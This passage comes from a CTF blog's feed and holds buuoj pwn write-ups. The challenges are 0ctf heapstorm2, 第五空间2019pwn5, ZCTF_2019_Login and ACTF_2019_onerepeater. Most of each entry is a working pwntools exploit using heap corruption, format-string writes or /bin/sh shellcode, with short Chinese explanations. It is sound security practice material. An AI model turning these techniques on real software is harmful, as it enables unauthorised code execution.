punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'heap'</span><span class="token punctuation">,</span> heap<span class="token punctuation">)</span><span class="token comment"># leak libc</span><span class="token comment"># 根据这个堆地址，可以leak出main_arena</span>pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x13377331</span><span class="token punctuation">)</span>  <span class="token comment"># view</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">)</span>  <span class="token comment"># node0: ptr,size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>heap<span class="token operator">+</span><span class="token number">0x10</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># node1: ptr, size</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span>lbase <span class="token operator">=</span> u64<span class="token punctuation">(</span>show<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token punctuation">(</span><span class="token number">0x7f4ef5812b78</span> <span class="token operator">-</span> <span class="token number">0x7f4ef544e000</span><span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'lbase'</span><span class="token punctuation">,</span> lbase<span class="token punctuation">)</span><span class="token comment"># modify __free_hook</span>__free_hook <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'__free_hook'</span><span class="token punctuation">]</span>system <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'system'</span><span class="token punctuation">]</span>leak<span class="token punctuation">(</span><span class="token string">'__free_hook'</span><span class="token punctuation">,</span> __free_hook<span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'system'</span><span class="token punctuation">,</span> system<span class="token punctuation">)</span>pay <span class="token operator">=</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">2</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x13377331</span><span class="token punctuation">)</span>  <span class="token comment"># view</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0x1000</span><span class="token punctuation">)</span>  <span class="token comment"># node0: ptr,size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>__free_hook<span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># node1: ptr, size</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span>storage<span class="token operator">+</span><span class="token number">0x50</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span> <span class="token comment"># node2: ptr. size</span>pay <span class="token operator">+=</span> <span class="token string">'/bin/sh\x00'</span> <span class="token comment"># storage+0x50</span>edit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> pay<span class="token punctuation">)</span>edit<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> p64<span class="token punctuation">(</span>system<span class="token punctuation">)</span><span class="token punctuation">)</span>free<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token comment">#dbg()</span>irt<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;buuoj刷pwn题之0ctf_2018_heapstorm2&lt;/p&gt;
    
    </summary>
    
    
      <category term="buuoj题目复现" scheme="http://www.xi4oyu.top/categories/buuoj%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/"/>
    
    
      <category term="largebin attack" scheme="http://www.xi4oyu.top/tags/largebin-attack/"/>
    
      <category term="heapstorm2" scheme="http://www.xi4oyu.top/tags/heapstorm2/"/>
    
  </entry>
  
  <entry>
    <title>第五空间2019pwn5</title>
    <link href="http://www.xi4oyu.top/eb2e947b/"/>
    <id>http://www.xi4oyu.top/eb2e947b/</id>
    <published>2020-06-15T02:14:00.000Z</published>
    <updated>2020-06-15T02:14:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>buuoj刷pwn题之第五空间2019pwn5</p><span id="more"></span><p>白给题，格式化字符串漏洞</p><p><img src="/images/eb2e947b/1.png" alt="upload successful"></p><p>exp:</p><pre><code class="python=">from pwn import *context.terminal = [&apos;gnome-terminal&apos;, &apos;-x&apos;, &apos;sh&apos;, &apos;-c&apos;]addr = 0x0804C044pay = &apos;%12$saaa&apos; + p32(addr)#p = process(&apos;./pwn&apos;)p = remote(&apos;node3.buuoj.cn&apos;, 26394)p.sendafter(&apos;:&apos;, pay)p.recvuntil(&apos;,&apos;)passwd = u32(p.recv(4))print hex(passwd)#gdb.attach(p)p.send(str(passwd)+&apos;\x00&apos;)p.interactive()</code></pre>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;buuoj刷pwn题之第五空间2019pwn5&lt;/p&gt;
    
    </summary>
    
    
      <category term="buuoj题目复现" scheme="http://www.xi4oyu.top/categories/buuoj%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/"/>
    
    
      <category term="pwn" scheme="http://www.xi4oyu.top/tags/pwn/"/>
    
      <category term="格式化字符串漏洞" scheme="http://www.xi4oyu.top/tags/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/"/>
    
  </entry>
  
  <entry>
    <title>ZCTF_2019_Login</title>
    <link href="http://www.xi4oyu.top/982ea662/"/>
    <id>http://www.xi4oyu.top/982ea662/</id>
    <published>2020-06-15T02:07:00.000Z</published>
    <updated>2020-06-15T02:07:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>buuoj刷pwn题之ZCTF_2019_Login</p><span id="more"></span><p><img src="/images/982ea662/1.png" alt="upload successful"><br><img src="/images/982ea662/2.png" alt="upload successful"></p><p>这里解引用了两次，只要能修改a1指向的内存即可</p><p>关键在这：</p><p><img src="/images/982ea662/3.png" alt="upload successful"></p><p>返回了函数局部变量的地址（危险操作）</p><p>exp:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">.</span>terminal <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'gnome-terminal'</span><span class="token punctuation">,</span> <span class="token string">'-x'</span><span class="token punctuation">,</span> <span class="token string">'sh'</span><span class="token punctuation">,</span> <span class="token string">'-c'</span><span class="token punctuation">]</span>pay <span class="token operator">=</span> <span class="token string">'2jctf_pa5sw0rd\x00'</span>pay <span class="token operator">+=</span> <span class="token string">'\x00'</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token number">0x48</span> <span class="token operator">-</span> <span class="token builtin">len</span><span class="token punctuation">(</span>pay<span class="token punctuation">)</span><span class="token punctuation">)</span>pay <span class="token operator">+=</span> p64<span class="token punctuation">(</span><span class="token number">0x400E88</span><span class="token punctuation">)</span><span class="token comment">#p = process('./login')</span>p <span class="token operator">=</span> remote<span class="token punctuation">(</span><span class="token string">'node3.buuoj.cn'</span><span class="token punctuation">,</span> <span class="token number">25069</span><span class="token punctuation">)</span><span class="token comment">#gdb.attach(p, 'b *0x0400B93')</span>p<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">'admin'</span><span class="token punctuation">)</span>p<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>pay<span class="token punctuation">)</span>p<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;buuoj刷pwn题之ZCTF_2019_Login&lt;/p&gt;
    
    </summary>
    
    
      <category term="buuoj题目复现" scheme="http://www.xi4oyu.top/categories/buuoj%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/"/>
    
    
      <category term="pwn" scheme="http://www.xi4oyu.top/tags/pwn/"/>
    
  </entry>
  
  <entry>
    <title>ACTF_2019_onerepeater</title>
    <link href="http://www.xi4oyu.top/7cf334f5/"/>
    <id>http://www.xi4oyu.top/7cf334f5/</id>
    <published>2020-05-12T14:12:00.000Z</published>
    <updated>2020-05-12T14:12:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>buuoj刷pwn题之ACTF_2019_onerepeater</p><span id="more"></span><p>目测是shellcode</p><p><img src="/images/7cf334f5/1.png" alt="checksec"></p><p>两种操作</p><p><img src="/images/7cf334f5/2.png" alt="operate"></p><p>repeat操作，有格式化字符串漏洞：</p><p><img src="/images/7cf334f5/3.png" alt="repeat"></p><p>input操作还把栈地址泄露出来了：</p><p><img src="/images/7cf334f5/4.png" alt="input"></p><p>那就在栈上布置shellcode，利用格式化字符串漏洞改main函数返回地址到shellcode</p><p>找了个shellcode: <a href="http://shell-storm.org/shellcode/files/shellcode-841.php">http://shell-storm.org/shellcode/files/shellcode-841.php</a></p><p>exp:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#coding=utf8</span><span class="token comment">#!/usr/bin/python2</span><span class="token keyword">from</span> PwnContext <span class="token keyword">import</span> <span class="token operator">*</span>      context<span class="token punctuation">.</span>terminal <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'gnome-terminal'</span><span class="token punctuation">,</span> <span class="token string">'-x'</span><span class="token punctuation">,</span> <span class="token string">'sh'</span><span class="token punctuation">,</span> <span class="token string">'-c'</span><span class="token punctuation">]</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token comment"># functions for quick script</span>s       <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token comment">#in case that data is an int</span>sa      <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sl      <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sla     <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> r       <span class="token operator">=</span> <span class="token keyword">lambda</span> numb<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>numb<span class="token punctuation">,</span> timeout<span class="token operator">=</span>timeout<span class="token punctuation">)</span>ru      <span class="token operator">=</span> <span class="token keyword">lambda</span> delims<span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span>  <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>delims<span class="token punctuation">,</span> drop<span class="token punctuation">)</span>irt     <span class="token operator">=</span> <span class="token keyword">lambda</span>                    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>rs      <span class="token operator">=</span> <span class="token keyword">lambda</span> <span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>dbg     <span class="token operator">=</span> <span class="token keyword">lambda</span> gs<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>debug<span class="token punctuation">(</span>gdbscript<span class="token operator">=</span>gs<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token comment"># misc functions</span>uu32    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u32<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>uu64    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u64<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak    <span class="token operator">=</span> <span class="token keyword">lambda</span> name<span class="token punctuation">,</span>addr <span class="token punctuation">:</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'&#123;&#125; = &#123;:#x&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>binary <span class="token operator">=</span> <span class="token string">'./ACTF_2019_OneRepeater'</span>ctx<span class="token punctuation">.</span>remote <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">'node3.buuoj.cn'</span><span class="token punctuation">,</span> <span class="token number">27510</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>remote_libc <span class="token operator">=</span> <span class="token string">'../../libc32/libc-2.27.so'</span>ctx<span class="token punctuation">.</span>debug_remote_libc <span class="token operator">=</span> <span class="token boolean">True</span><span class="token comment">#rs()</span>rs<span class="token punctuation">(</span><span class="token string">'remote'</span><span class="token punctuation">)</span><span class="token comment"># print(ctx.libc.path)</span><span class="token comment"># leak stack</span>sla<span class="token punctuation">(</span><span class="token string">' Exit\n'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>stack_addr <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>ru<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span>ret_addr <span class="token operator">=</span> stack_addr <span class="token operator">+</span> <span class="token number">0x410</span> <span class="token operator">+</span> <span class="token number">0xc</span>s<span class="token punctuation">(</span><span class="token string">'123'</span><span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'stack_addr'</span><span class="token punctuation">,</span> stack_addr<span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'ret_addr'</span><span class="token punctuation">,</span> ret_addr<span class="token punctuation">)</span><span class="token comment"># modify ret</span><span class="token keyword">def</span> <span class="token function">write</span><span class="token punctuation">(</span>addr<span class="token punctuation">,</span> content<span class="token punctuation">)</span><span class="token punctuation">:</span>    pay <span class="token operator">=</span> <span class="token string">'&#123;&#125;'</span> <span class="token operator">+</span> <span class="token string">'%&#123;&#125;c'</span> <span class="token operator">+</span> <span class="token string">'%16$hhn\x00'</span>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        num <span class="token operator">=</span> content <span class="token operator">&amp;</span> <span class="token number">0xff</span>        content <span class="token operator">>></span><span class="token operator">=</span> <span class="token number">8</span>        sla<span class="token punctuation">(</span><span class="token string">' Exit\n'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>        s<span class="token punctuation">(</span>pay<span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>p32<span class="token punctuation">(</span>ret_addr<span class="token operator">+</span>i<span class="token punctuation">)</span><span class="token punctuation">,</span> num<span class="token operator">-</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        sla<span class="token punctuation">(</span><span class="token string">' Exit\n'</span><span class="token punctuation">,</span> <span class="token string">'2'</span><span class="token punctuation">)</span>write<span class="token punctuation">(</span>ret_addr<span class="token punctuation">,</span> stack_addr<span class="token punctuation">)</span>shellcode <span class="token operator">=</span> <span class="token string">''</span>shellcode <span class="token operator">+=</span> <span class="token string">'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f'</span>shellcode <span class="token operator">+=</span> <span class="token string">'\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd'</span>shellcode <span class="token operator">+=</span> <span class="token string">'\x80'</span>sla<span class="token punctuation">(</span><span class="token string">' Exit\n'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">)</span>s<span class="token punctuation">(</span>shellcode<span class="token punctuation">)</span>sla<span class="token punctuation">(</span><span class="token string">' Exit\n'</span><span class="token punctuation">,</span> <span class="token string">'3'</span><span class="token punctuation">)</span><span class="token comment">#dbg()</span>irt<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;buuoj刷pwn题之ACTF_2019_onerepeater&lt;/p&gt;
    
    </summary>
    
    
      <category term="buuoj题目复现" scheme="http://www.xi4oyu.top/categories/buuoj%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/"/>
    
    
      <category term="pwn" scheme="http://www.xi4oyu.top/tags/pwn/"/>
    
      <category term="shellcode" scheme="http://www.xi4oyu.top/tags/shellcode/"/>
    
      <category term="格式化字符串漏洞" scheme="http://www.xi4oyu.top/tags/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/"/>
    
  </entry>
  
</feed>
